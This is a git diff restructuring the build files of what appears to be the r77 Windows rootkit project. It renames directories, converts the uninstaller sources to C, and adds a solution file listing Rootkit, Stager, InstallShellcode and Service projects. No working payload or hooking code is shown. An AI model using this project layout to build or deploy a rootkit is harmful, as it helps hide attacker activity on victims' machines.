diff --git a/vs/TestConsole/Resources/Processes16.png b/TestConsole/Resources/Processes16.png
similarity index 100%
rename from vs/TestConsole/Resources/Processes16.png
rename to TestConsole/Resources/Processes16.png
diff --git a/vs/TestConsole/Resources/R77Helper16.png b/TestConsole/Resources/R77Helper16.png
similarity index 100%
rename from vs/TestConsole/Resources/R77Helper16.png
rename to TestConsole/Resources/R77Helper16.png
diff --git a/vs/TestConsole/Resources/R77Service16.png b/TestConsole/Resources/R77Service16.png
similarity index 100%
rename from vs/TestConsole/Resources/R77Service16.png
rename to TestConsole/Resources/R77Service16.png
diff --git a/vs/TestConsole/Resources/Uac16.png b/TestConsole/Resources/Uac16.png
similarity index 100%
rename from vs/TestConsole/Resources/Uac16.png
rename to TestConsole/Resources/Uac16.png
diff --git a/vs/TestConsole/Resources/Unhidden16.png b/TestConsole/Resources/Unhidden16.png
similarity index 100%
rename from vs/TestConsole/Resources/Unhidden16.png
rename to TestConsole/Resources/Unhidden16.png
diff --git a/vs/TestConsole/Resources/Warning16.png b/TestConsole/Resources/Warning16.png
similarity index 100%
rename from vs/TestConsole/Resources/Warning16.png
rename to TestConsole/Resources/Warning16.png
diff --git a/vs/TestConsole/TestConsole.csproj b/TestConsole/TestConsole.csproj
similarity index 86%
rename from vs/TestConsole/TestConsole.csproj
rename to TestConsole/TestConsole.csproj
index a6c2b20..5e62c31 100644
--- a/vs/TestConsole/TestConsole.csproj
+++ b/TestConsole/TestConsole.csproj
@@ -42,13 +42,11 @@
app.manifest
-
- False
- ..\..\SlnBin\BytecodeApi.dll
+
+ ..\SlnBin\BytecodeApi.dll
-
- False
- ..\..\SlnBin\BytecodeApi.UI.dll
+
+ ..\SlnBin\BytecodeApi.UI.dll
@@ -66,7 +64,7 @@
MSBuild:Compile
Designer
-
+
Properties\GlobalAssemblyInfo.cs
@@ -170,14 +168,14 @@
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetDir)BytecodeApi.dll" "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetDir)BytecodeApi.UI.dll" "$(SolutionDir)..\$Build"
-xcopy /Y "$(SolutionDir)..\$Build\Helper32.exe" "$(TargetDir)"
-xcopy /Y "$(SolutionDir)..\$Build\Helper64.exe" "$(TargetDir)"
-xcopy /Y "$(SolutionDir)..\$Build\r77-x86.dll" "$(TargetDir)"
-xcopy /Y "$(SolutionDir)..\$Build\r77-x64.dll" "$(TargetDir)"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
+xcopy /Y "$(TargetDir)BytecodeApi.dll" "$(SolutionDir)$Build"
+xcopy /Y "$(TargetDir)BytecodeApi.UI.dll" "$(SolutionDir)$Build"
+xcopy /Y "$(SolutionDir)$Build\Helper32.exe" "$(TargetDir)"
+xcopy /Y "$(SolutionDir)$Build\Helper64.exe" "$(TargetDir)"
+xcopy /Y "$(SolutionDir)$Build\r77-x86.dll" "$(TargetDir)"
+xcopy /Y "$(SolutionDir)$Build\r77-x64.dll" "$(TargetDir)"
diff --git a/vs/TestConsole/TestConsole.ico b/TestConsole/TestConsole.ico
similarity index 100%
rename from vs/TestConsole/TestConsole.ico
rename to TestConsole/TestConsole.ico
diff --git a/vs/TestConsole/ViewModels/AboutPopupViewModel.cs b/TestConsole/ViewModels/AboutPopupViewModel.cs
similarity index 100%
rename from vs/TestConsole/ViewModels/AboutPopupViewModel.cs
rename to TestConsole/ViewModels/AboutPopupViewModel.cs
diff --git a/vs/TestConsole/ViewModels/MainWindowViewModel.cs b/TestConsole/ViewModels/MainWindowViewModel.cs
similarity index 100%
rename from vs/TestConsole/ViewModels/MainWindowViewModel.cs
rename to TestConsole/ViewModels/MainWindowViewModel.cs
diff --git a/vs/TestConsole/Views/AboutPopup.xaml b/TestConsole/Views/AboutPopup.xaml
similarity index 100%
rename from vs/TestConsole/Views/AboutPopup.xaml
rename to TestConsole/Views/AboutPopup.xaml
diff --git a/vs/TestConsole/Views/AboutPopup.xaml.cs b/TestConsole/Views/AboutPopup.xaml.cs
similarity index 100%
rename from vs/TestConsole/Views/AboutPopup.xaml.cs
rename to TestConsole/Views/AboutPopup.xaml.cs
diff --git a/vs/TestConsole/Views/MainWindow.xaml b/TestConsole/Views/MainWindow.xaml
similarity index 100%
rename from vs/TestConsole/Views/MainWindow.xaml
rename to TestConsole/Views/MainWindow.xaml
diff --git a/vs/TestConsole/Views/MainWindow.xaml.cs b/TestConsole/Views/MainWindow.xaml.cs
similarity index 100%
rename from vs/TestConsole/Views/MainWindow.xaml.cs
rename to TestConsole/Views/MainWindow.xaml.cs
diff --git a/vs/TestConsole/app.manifest b/TestConsole/app.manifest
similarity index 100%
rename from vs/TestConsole/app.manifest
rename to TestConsole/app.manifest
diff --git a/vs/Uninstall/Resource.rc b/Uninstall/Resource.rc
similarity index 100%
rename from vs/Uninstall/Resource.rc
rename to Uninstall/Resource.rc
diff --git a/vs/Uninstall/Resources/.gitkeep b/Uninstall/Resources/.gitkeep
similarity index 100%
rename from vs/Uninstall/Resources/.gitkeep
rename to Uninstall/Resources/.gitkeep
diff --git a/src/Uninstall/Uninstall.cpp b/Uninstall/Uninstall.c
similarity index 85%
rename from src/Uninstall/Uninstall.cpp
rename to Uninstall/Uninstall.c
index a15de67..f3bcc00 100644
--- a/src/Uninstall/Uninstall.cpp
+++ b/Uninstall/Uninstall.c
@@ -1,8 +1,13 @@
-#include "Uninstall.h"
-
-int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
+#define CUSTOM_ENTRY
+#include "resource.h"
+#include "r77def.h"
+#include "r77win.h"
+#include "r77config.h"
+#include "r77process.h"
+
+int main()
{
- InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE);
+ EnabledDebugPrivilege();
// Delete the stager executable from the 32-bit view of the registry.
HKEY key;
diff --git a/vs/Uninstall/Uninstall.vcxproj b/Uninstall/Uninstall.vcxproj
similarity index 77%
rename from vs/Uninstall/Uninstall.vcxproj
rename to Uninstall/Uninstall.vcxproj
index 62a5e33..6b6fc0a 100644
--- a/vs/Uninstall/Uninstall.vcxproj
+++ b/Uninstall/Uninstall.vcxproj
@@ -21,13 +21,13 @@
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -35,6 +35,7 @@
+
@@ -52,20 +53,26 @@
Level3
- true
+ false
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ CompileAsC
+ false
+ Default
- Console
+ Windows
true
RequireAdministrator
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ EntryPoint
+ true
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
@@ -73,28 +80,32 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
Level3
true
true
- true
+ false
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
RequireAdministrator
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ EntryPoint
+ true
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
-
-
-
@@ -104,8 +115,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-
-
+
diff --git a/vs/Uninstall/Uninstall.vcxproj.filters b/Uninstall/Uninstall.vcxproj.filters
similarity index 69%
rename from vs/Uninstall/Uninstall.vcxproj.filters
rename to Uninstall/Uninstall.vcxproj.filters
index 6abf849..d08a424 100644
--- a/vs/Uninstall/Uninstall.vcxproj.filters
+++ b/Uninstall/Uninstall.vcxproj.filters
@@ -7,9 +7,6 @@
-
-
-
@@ -20,7 +17,6 @@
-
-
+
\ No newline at end of file
diff --git a/vs/Uninstall/resource.h b/Uninstall/resource.h
similarity index 100%
rename from vs/Uninstall/resource.h
rename to Uninstall/resource.h
diff --git a/src/Uninstall64/Uninstall64.cpp b/Uninstall64/Uninstall64.c
similarity index 75%
rename from src/Uninstall64/Uninstall64.cpp
rename to Uninstall64/Uninstall64.c
index 7972046..532e974 100644
--- a/src/Uninstall64/Uninstall64.cpp
+++ b/Uninstall64/Uninstall64.c
@@ -1,10 +1,13 @@
-#include "Uninstall64.h"
+#define CUSTOM_ENTRY
+#include "r77def.h"
+#include "r77win.h"
+#include "r77process.h"
// Uninstall64.exe is extracted and executed by Uninstall.exe
-int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
+int main()
{
- InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE);
+ EnabledDebugPrivilege();
// Delete the stager executable from the 64-bit view of the registry.
HKEY key;
diff --git a/vs/Uninstall64/Uninstall64.vcxproj b/Uninstall64/Uninstall64.vcxproj
similarity index 77%
rename from vs/Uninstall64/Uninstall64.vcxproj
rename to Uninstall64/Uninstall64.vcxproj
index e992c9a..ce7e55f 100644
--- a/vs/Uninstall64/Uninstall64.vcxproj
+++ b/Uninstall64/Uninstall64.vcxproj
@@ -11,13 +11,7 @@
-
-
-
-
-
-
-
+
16.0
@@ -30,13 +24,13 @@
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -44,6 +38,7 @@
+
@@ -54,21 +49,29 @@
true
+ false
false
+ false
Level3
- true
+ false
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ CompileAsC
+ false
+ Default
- Console
+ Windows
true
+ true
+ EntryPoint
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
@@ -80,16 +83,23 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Uninstall\Resources"
Level3
true
true
- true
+ false
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
+ true
+ EntryPoint
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
diff --git a/Uninstall64/Uninstall64.vcxproj.filters b/Uninstall64/Uninstall64.vcxproj.filters
new file mode 100644
index 0000000..fdd7d71
--- /dev/null
+++ b/Uninstall64/Uninstall64.vcxproj.filters
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vs/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj
similarity index 68%
rename from vs/r77-x64/r77-x64.vcxproj
rename to r77-x64/r77-x64.vcxproj
index d9bf03d..5dbe126 100644
--- a/vs/r77-x64/r77-x64.vcxproj
+++ b/r77-x64/r77-x64.vcxproj
@@ -10,30 +10,6 @@
x64
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
16.0
Win32Proj
@@ -45,13 +21,13 @@
DynamicLibrary
true
- v142
+ v143
Unicode
DynamicLibrary
false
- v142
+ v143
true
Unicode
@@ -59,6 +35,8 @@
+
+
@@ -69,26 +47,32 @@
true
+ false
false
+ false
Level3
- true
- EXPORT_REFLECTIVE_DLL_MAIN;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ false
+ %(PreprocessorDefinitions)
true
MultiThreadedDebug
+ false
+ CompileAsC
+ Default
- Console
+ Windows
true
+ ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies)
mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77.dll"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
+echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service64\Resources\r77.dll"
@@ -96,21 +80,26 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77
Level3
true
true
- true
- EXPORT_REFLECTIVE_DLL_MAIN;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ false
+ %(PreprocessorDefinitions)
true
MultiThreaded
+ false
+ MinSpace
+ Size
+ CompileAsC
- Console
+ Windows
true
true
false
+ ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies)
mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77.dll"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
+echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service64\Resources\r77.dll"
diff --git a/r77-x64/r77-x64.vcxproj.filters b/r77-x64/r77-x64.vcxproj.filters
new file mode 100644
index 0000000..9cd8510
--- /dev/null
+++ b/r77-x64/r77-x64.vcxproj.filters
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/vs/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj
similarity index 68%
rename from vs/r77-x86/r77-x86.vcxproj
rename to r77-x86/r77-x86.vcxproj
index 37f3b3c..b221947 100644
--- a/vs/r77-x86/r77-x86.vcxproj
+++ b/r77-x86/r77-x86.vcxproj
@@ -10,30 +10,6 @@
Win32
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
16.0
Win32Proj
@@ -45,13 +21,13 @@
DynamicLibrary
true
- v142
+ v143
Unicode
DynamicLibrary
false
- v142
+ v143
true
Unicode
@@ -59,6 +35,8 @@
+
+
@@ -69,26 +47,32 @@
true
+ false
false
+ false
Level3
- true
- EXPORT_REFLECTIVE_DLL_MAIN;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ false
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ false
+ CompileAsC
+ Default
- Console
+ Windows
true
+ ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies)
mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77.dll"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
+echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service32\Resources\r77.dll"
@@ -96,21 +80,26 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77
Level3
true
true
- true
- EXPORT_REFLECTIVE_DLL_MAIN;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ false
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ false
+ MinSpace
+ Size
+ CompileAsC
- Console
+ Windows
true
true
false
+ ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies)
mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77.dll"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
+echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service32\Resources\r77.dll"
diff --git a/r77-x86/r77-x86.vcxproj.filters b/r77-x86/r77-x86.vcxproj.filters
new file mode 100644
index 0000000..9cd8510
--- /dev/null
+++ b/r77-x86/r77-x86.vcxproj.filters
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/r77.sln b/r77.sln
new file mode 100644
index 0000000..2181b7e
--- /dev/null
+++ b/r77.sln
@@ -0,0 +1,304 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.1.32328.378
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole", "TestConsole\TestConsole.csproj", "{E55F7214-8CC4-4E1D-AEDB-C908D23902A4}"
+ ProjectSection(ProjectDependencies) = postProject
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40}
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B}
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x64", "r77-x64\r77-x64.vcxproj", "{06AF1D64-F2FC-4767-8794-7313C7BB0A40}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x86", "r77-x86\r77-x86.vcxproj", "{1BA54A13-B390-47B3-9628-B58A2BBA193B}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall", "Uninstall\Uninstall.vcxproj", "{F0005D08-6278-4BFE-B492-F86CCEC797D5}"
+ ProjectSection(ProjectDependencies) = postProject
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall64", "Uninstall64\Uninstall64.vcxproj", "{00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}"
+ ProjectSection(ProjectDependencies) = postProject
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example", "Example\Example.csproj", "{86F8C733-F773-4AD8-9282-3F99953261FD}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BuildTask", "BuildTask\BuildTask.csproj", "{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Install", "Install\Install.vcxproj", "{BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}"
+ ProjectSection(ProjectDependencies) = postProject
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper32", "Helper32\Helper32.vcxproj", "{2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}"
+ ProjectSection(ProjectDependencies) = postProject
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper64", "Helper64\Helper64.vcxproj", "{78BB6D02-6E02-4933-89DC-4AD8EE0B303F}"
+ ProjectSection(ProjectDependencies) = postProject
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper", "Helper\Helper.vcxitems", "{E6543F7A-4E58-4C55-975E-ED975481EBE8}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77api", "r77api\r77api.vcxitems", "{525FD9EB-628A-4D93-B320-3C1DFA0A216D}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77", "r77\r77.vcxitems", "{6E4BB100-C3C9-4CF7-A637-08C2482C6B94}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Global", "Global", "{054A9EE5-7740-4460-A561-D0AC8CF051EF}"
+ ProjectSection(SolutionItems) = preProject
+ Global\GlobalAssemblyInfo.cs = Global\GlobalAssemblyInfo.cs
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallShellcode", "InstallShellcode\InstallShellcode.vcxitems", "{DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stager", "Stager\Stager.csproj", "{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}"
+ ProjectSection(ProjectDependencies) = postProject
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}
+ EndProjectSection
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Install", "Install", "{BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "TestEnvironment", "TestEnvironment", "{75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall", "Uninstall", "{48D99D12-84EF-4BB3-946F-1366B9AA60B3}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Rootkit", "Rootkit", "{1A7FBF3D-F6D4-41A5-93FE-118A940F9086}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service", "Service\Service.vcxitems", "{46E171D4-1811-48BE-8867-A63C28761D28}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service32", "Service32\Service32.vcxproj", "{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}"
+ ProjectSection(ProjectDependencies) = postProject
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B}
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service64", "Service64\Service64.vcxproj", "{E3104B33-DB3D-4C83-B393-1E05E1FF2B10}"
+ ProjectSection(ProjectDependencies) = postProject
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40}
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
+ EndProjectSection
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|Any CPU = Release|Any CPU
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x64.ActiveCfg = Debug|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x64.Build.0 = Debug|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x86.ActiveCfg = Debug|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x86.Build.0 = Debug|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.Build.0 = Release|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x64.ActiveCfg = Release|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x64.Build.0 = Release|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x86.ActiveCfg = Release|Any CPU
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x86.Build.0 = Release|Any CPU
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.ActiveCfg = Debug|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.Build.0 = Debug|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x64.ActiveCfg = Debug|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x64.Build.0 = Debug|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x86.ActiveCfg = Debug|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x86.Build.0 = Debug|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.ActiveCfg = Release|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.Build.0 = Release|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x64.ActiveCfg = Release|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x64.Build.0 = Release|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x86.ActiveCfg = Release|x64
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x86.Build.0 = Release|x64
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.ActiveCfg = Debug|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.Build.0 = Debug|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x64.ActiveCfg = Debug|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x64.Build.0 = Debug|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x86.ActiveCfg = Debug|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x86.Build.0 = Debug|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.ActiveCfg = Release|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.Build.0 = Release|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x64.ActiveCfg = Release|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x64.Build.0 = Release|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x86.ActiveCfg = Release|Win32
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x86.Build.0 = Release|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.ActiveCfg = Debug|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.Build.0 = Debug|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x64.ActiveCfg = Debug|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x64.Build.0 = Debug|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x86.ActiveCfg = Debug|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x86.Build.0 = Debug|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.ActiveCfg = Release|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.Build.0 = Release|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x64.ActiveCfg = Release|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x64.Build.0 = Release|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x86.ActiveCfg = Release|Win32
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x86.Build.0 = Release|Win32
